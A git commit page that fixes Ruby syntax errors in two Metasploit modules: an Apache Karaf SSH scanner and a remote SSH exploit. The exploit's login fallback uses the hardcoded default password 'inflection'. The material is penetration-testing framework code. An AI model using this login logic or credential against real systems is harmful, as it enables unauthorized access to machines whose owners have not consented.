some more minor fixes
some more minor fixes around broken ssh modules 7321bug/bundler_fix
parent
e10c133eef
commit
dfcd5742c1
|
@ -91,7 +91,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
else
|
||||
print_error "#{ip}:#{rport} - Unknown error"
|
||||
end
|
||||
rescue OpenSSL:Cipher::CipherError: e
|
||||
rescue OpenSSL::Cipher::CipherError => e
|
||||
print_error("#{ip}:#{rport} SSH - Unable to connect to this Apache Karaf (#{e.message})")
|
||||
return
|
||||
rescue Rex::ConnectionError
|
||||
|
@ -104,7 +104,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
return
|
||||
rescue Net::SSH::AuthenticationFailed
|
||||
print_error "#{ip}:#{rport} SSH - Failed authentication"
|
||||
rescue Net:SSH::Exception: e
|
||||
rescue Net::SSH::Exception => e
|
||||
print_error "#{ip}:#{rport} SSH Error: #{e.class} : #{e.message}"
|
||||
return
|
||||
end
|
||||
|
|
|
@ -116,6 +116,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
def exploit
|
||||
payload_instance.extend(TrustMeItsAShell)
|
||||
factory = ssh_socket_factory
|
||||
|
||||
ssh_options = {
|
||||
auth_methods: ['publickey'],
|
||||
|
@ -129,10 +130,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG']
|
||||
|
||||
conn = do_login(ssh_options)
|
||||
|
||||
unless is_success?(conn, true)
|
||||
ssh_options[:auth_methods] = ['password']
|
||||
ssh_options[:password] = 'inflection'
|
||||
ssh_options.delete[:key_data]
|
||||
ssh_options.delete(:key_data)
|
||||
conn = do_login(ssh_options)
|
||||
is_success?(conn, false)
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue